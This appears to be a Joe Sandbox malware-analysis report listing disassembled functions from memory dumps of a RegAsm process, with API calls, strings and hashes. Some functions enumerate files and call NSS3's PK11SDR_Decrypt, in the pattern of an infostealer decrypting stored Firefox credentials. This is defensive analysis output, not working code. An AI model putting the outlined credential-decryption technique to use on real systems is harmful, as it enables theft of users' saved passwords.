String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: ec67190abfc704f681ff50665ddab1ed9ba338208ad5654ca3c6c9cd602007c1
Instruction ID: 14a9de1593af13d2dc4a3ed0a5cb71e814090d70c482480a5c08eb79a20d2717
Opcode Fuzzy Hash: ec67190abfc704f681ff50665ddab1ed9ba338208ad5654ca3c6c9cd602007c1
Instruction Fuzzy Hash: DFD13835B05384DFEB109F68D4447AE77F8EB4A328F14055AE96583B81DB349A08CBA7

Function 6CB564C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CB564DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CB564F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CB56505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CB56518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB5652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CB5671C
GetCurrentProcess.KERNEL32 ref: 6CB56724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB5672F
GetCurrentProcess.KERNEL32 ref: 6CB56759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB56764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CB56A80
GetSystemInfo.KERNEL32(?), ref: 6CB56ABE
__Init_thread_footer.LIBCMT ref: 6CB56AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB56AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB56AF7

Strings

nvd3d9wrap.dll, xrefs: 6CB56500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CB56798
user32.dll, xrefs: 6CB56526
_etoured.dll, xrefs: 6CB564ED
detoured.dll, xrefs: 6CB564DA
nvdxgiwrap.dll, xrefs: 6CB56513

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 555d9006b1ddf663b58f9218597b5b480fab5bc35479b47c02f09c69db98a44a
Instruction ID: b1e446bf2d6a3b5088c7c493974792559342ba290057d3f75a0749a93826f24d
Opcode Fuzzy Hash: 555d9006b1ddf663b58f9218597b5b480fab5bc35479b47c02f09c69db98a44a
Instruction Fuzzy Hash: E5F104709052999FDB20CF24CC88B9AB7B4EF4A318F5442D9E819E3741E731AE94CF91

Function 004133C0 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004133DC
FindFirstFileA.KERNEL32(?,?), ref: 004133F3
lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

%s\%s, xrefs: 0041357F
%s\%s, xrefs: 0041348A
%s\*, xrefs: 004133D0
18A, xrefs: 00413792, 00413755, 00413679, 00413419, 0041367C, 00413758
%s%s, xrefs: 004135BD
%s\%s\%s, xrefs: 0041355A

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$18A
API String ID: 1125553467-3461493422
Opcode ID: 726007c070200b8b6ccd5e432aca5a88abac811a359fd20cf8ca828f6c5e6349
Instruction ID: eff374fbcd62c6e18ab1f1aaab25817c9043c0eeef42efb3c17498ac9b2729e3
Opcode Fuzzy Hash: 726007c070200b8b6ccd5e432aca5a88abac811a359fd20cf8ca828f6c5e6349
Instruction Fuzzy Hash: 93A18FB1A00218ABCB34DFA4DC85FEE7379BF48305F448589E50D96181EB789B89CF65

Function 6CB8E2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6CB8E2A6), ref: 6CB8E35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6CB8E2A6), ref: 6CB8E386
GetCurrentThreadId.KERNEL32 ref: 6CB8E3E4
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6CB8E4AB
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E4F5
GetCurrentThreadId.KERNEL32 ref: 6CB8E577
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E584
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB8E8A6

Part of subcall function 6CB4B7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB4B7CF
Part of subcall function 6CB4B7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CB4B808

Part of subcall function 6CB9B800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6CBC0FB6,00000000,?,?,6CB8E69E), ref: 6CB9B830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6CB8E6DA

Part of subcall function 6CB9B8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6CB9B916
Part of subcall function 6CB9B8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6CB9B94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB8E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8E883

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CB8E5A1, 6CB8E5CC, 6CB8E5FF, 6CB8E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB8E722, 6CB8E750, 6CB8E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB8E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB8E826, 6CB8E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB8E777

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: d65108ed6f5db0c170e297b3e6817d25de2795e2ffc652999a16b1c8f2f46134
Instruction ID: 7aa42996355c249e2f2af926d09b9df35c73517aef5f814b3cab1f7f15564659
Opcode Fuzzy Hash: d65108ed6f5db0c170e297b3e6817d25de2795e2ffc652999a16b1c8f2f46134
Instruction Fuzzy Hash: B6029B79605285DFCB10CF28C480A6EB7F5FF89308F54452CE99A9BB51DB34E944CB92

Function 00418AB0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00418BD6

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction ID: ab8c993fcc5868c7862916c534b465bb792f4261399987fcbf2c6f11a1cf59ff
Opcode Fuzzy Hash: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction Fuzzy Hash: 2E711CB1A10208ABDB14EFE4DC89FEEB779BF48700F108509F516AB290DB74A945CB65

Function 00414050 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
HeapAlloc.KERNEL32(00000000), ref: 00414067
wsprintfA.USER32 ref: 00414086
FindFirstFileA.KERNEL32(?,?), ref: 0041409D
StrCmpCA.SHLWAPI(?,00420F94), ref: 004140CB
StrCmpCA.SHLWAPI(?,00420F98), ref: 004140E1
FindNextFileA.KERNEL32(000000FF,?), ref: 0041416B
FindClose.KERNEL32(000000FF), ref: 00414180
lstrcat.KERNEL32(?,01424BB8), ref: 004141A5
lstrcat.KERNEL32(?,01422F98), ref: 004141B8
lstrlenA.KERNEL32(?), ref: 004141C5
lstrlenA.KERNEL32(?), ref: 004141D6

Strings

%s\%s, xrefs: 004140FB
%s\*, xrefs: 0041407A

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 3bfca4904039594e7bc184b9ea0cd864b735e8bbaf74a4ec34d52db7b4bf7707
Instruction ID: 5a9d9924cf4f5588b7cf1b0220733e19b9eaeea9c8f58638c5d055d4a934acf6
Opcode Fuzzy Hash: 3bfca4904039594e7bc184b9ea0cd864b735e8bbaf74a4ec34d52db7b4bf7707
Instruction Fuzzy Hash: 6A5194B1940218ABC720EB70DC89FEE777DAF58304F40458DB60996190EB749BC5CFA5

Function 6CB87E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CB87E88
data, xrefs: 6CB88280, 6CB883E1
schema, xrefs: 6CB881E3, 6CB88311
name, xrefs: 6CB87ECF, 6CB88335

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: a7b60b34a8b57a14178dbb1d72cfded13f7d9f63e85143b57e4dd82d0de22e0a
Instruction ID: 83c40014fa9edaed959660b6f36aed64018b077348754bdc10944e71ec713fdf
Opcode Fuzzy Hash: a7b60b34a8b57a14178dbb1d72cfded13f7d9f63e85143b57e4dd82d0de22e0a
Instruction Fuzzy Hash: 2AE16EB1B043848BC710CF69C84066FF7E9FB85318F54892DE895A7791DBB4DD098B92

Function 6CB6D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CB7D1C5), ref: 6CB6D4F2
LeaveCriticalSection.KERNEL32(6CBCE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CB7D1C5), ref: 6CB6D50B

Part of subcall function 6CB4CFE0: EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB4CFF6
Part of subcall function 6CB4CFE0: LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB4D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CB7D1C5), ref: 6CB6D52E
EnterCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB6D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB6D6A6
LeaveCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB6D712
LeaveCriticalSection.KERNEL32(6CBCE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CB7D1C5), ref: 6CB6D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB6D7EA

Strings

<jemalloc>, xrefs: 6CB6D827
: (malloc) Error initializing arena, xrefs: 6CB6D82C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 1b931d2ddd89d9fbe3f549ba1ba45677762652304139a520a736b2e36d1395fe
Instruction ID: e6cac6eea9a9fd3c1fa5f35a24ae99584bc51b6819af6d39ca40952bf19be7af
Opcode Fuzzy Hash: 1b931d2ddd89d9fbe3f549ba1ba45677762652304139a520a736b2e36d1395fe
Instruction Fuzzy Hash: E091AD71A047C18FD714CF3AD49166AB7E1EB99314F24892EE59A87E81D730A844CB93

Function 0040C660 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C693
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0141AB60), ref: 0040C6B1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
memcpy.MSVCRT ref: 0040C752
lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
PK11_FreeSlot.NSS3(?), ref: 0040C7A1
lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction ID: c0f5229a5aee9ff77f702815419eeee9532eb5a68af55b4089f36d1ae8d19eeb
Opcode Fuzzy Hash: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction Fuzzy Hash: 96414E7490421ADFCB20CFA4DD89BEEBBB9AB48304F1042B9F509A7280D7745A85CF95

Function 6CBA4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CBA4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CBA4F2E
moz_xmalloc.MOZGLUE ref: 6CBA4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CBA4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CBA52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CBA52E6
Sleep.KERNEL32(00000010), ref: 6CBA5481
free.MOZGLUE(?), ref: 6CBA5498

Strings

(, xrefs: 6CBA5250

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 2002fe6ad032783153a3d7c9f3497371986864fc431d461ee4d386f37e3208e6
Instruction ID: 2f1be04e55eab335cf986b655b3e49d9342fee9955a6c3180b46931dfe9787e0
Opcode Fuzzy Hash: 2002fe6ad032783153a3d7c9f3497371986864fc431d461ee4d386f37e3208e6
Instruction Fuzzy Hash: 88F1C371A18B408FC716CF39C85062BB7F5EFDA284F05872EF886A7651DB31D9468B81

Function 6CB57810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCE744), ref: 6CB57885
LeaveCriticalSection.KERNEL32(6CBCE744), ref: 6CB578A5
EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB578AD
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB578CD
EnterCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB578D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CB578E9
EnterCriticalSection.KERNEL32(00000000), ref: 6CB5795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6CB579BB
LeaveCriticalSection.KERNEL32(?), ref: 6CB57BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CB57C82
LeaveCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB57CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6CB57DAF

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: cf24fdd97c367a8f65091cea9e83f72e053d99f9d99a8e73eac9c3b288286fa2
Instruction ID: f3d7a50ec67d3011472673c9a0d3d07654336de6022a8a15e97446b9ae49ce50
Opcode Fuzzy Hash: cf24fdd97c367a8f65091cea9e83f72e053d99f9d99a8e73eac9c3b288286fa2
Instruction Fuzzy Hash: BE027E71A1125ACFDB54CF19C984799B7B5FF88318F6582AAD809B7701D770AEA0CF80

Function 0040EB60 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EB7E
FindFirstFileA.KERNEL32(?,?), ref: 0040EB95
StrCmpCA.SHLWAPI(?,004214DC), ref: 0040EBEB
StrCmpCA.SHLWAPI(?,004214E0), ref: 0040EC01
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F0EE
FindClose.KERNEL32(000000FF), ref: 0040F103

Strings

%s\*.*, xrefs: 0040EB72

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b641c36dcbe642b9c87fd7d2aa1787ad06c513d5b20f32966b0821658141bab0
Instruction ID: c6306bd3c9db837ca22bf811b4dc293e3d61997c094f6f04bf3b71cb7d88404f
Opcode Fuzzy Hash: b641c36dcbe642b9c87fd7d2aa1787ad06c513d5b20f32966b0821658141bab0
Instruction Fuzzy Hash: 27E13071912118AADB14FB61DC56EEE7338AF50314F4041EEB40B62092EE786FD9CF5A

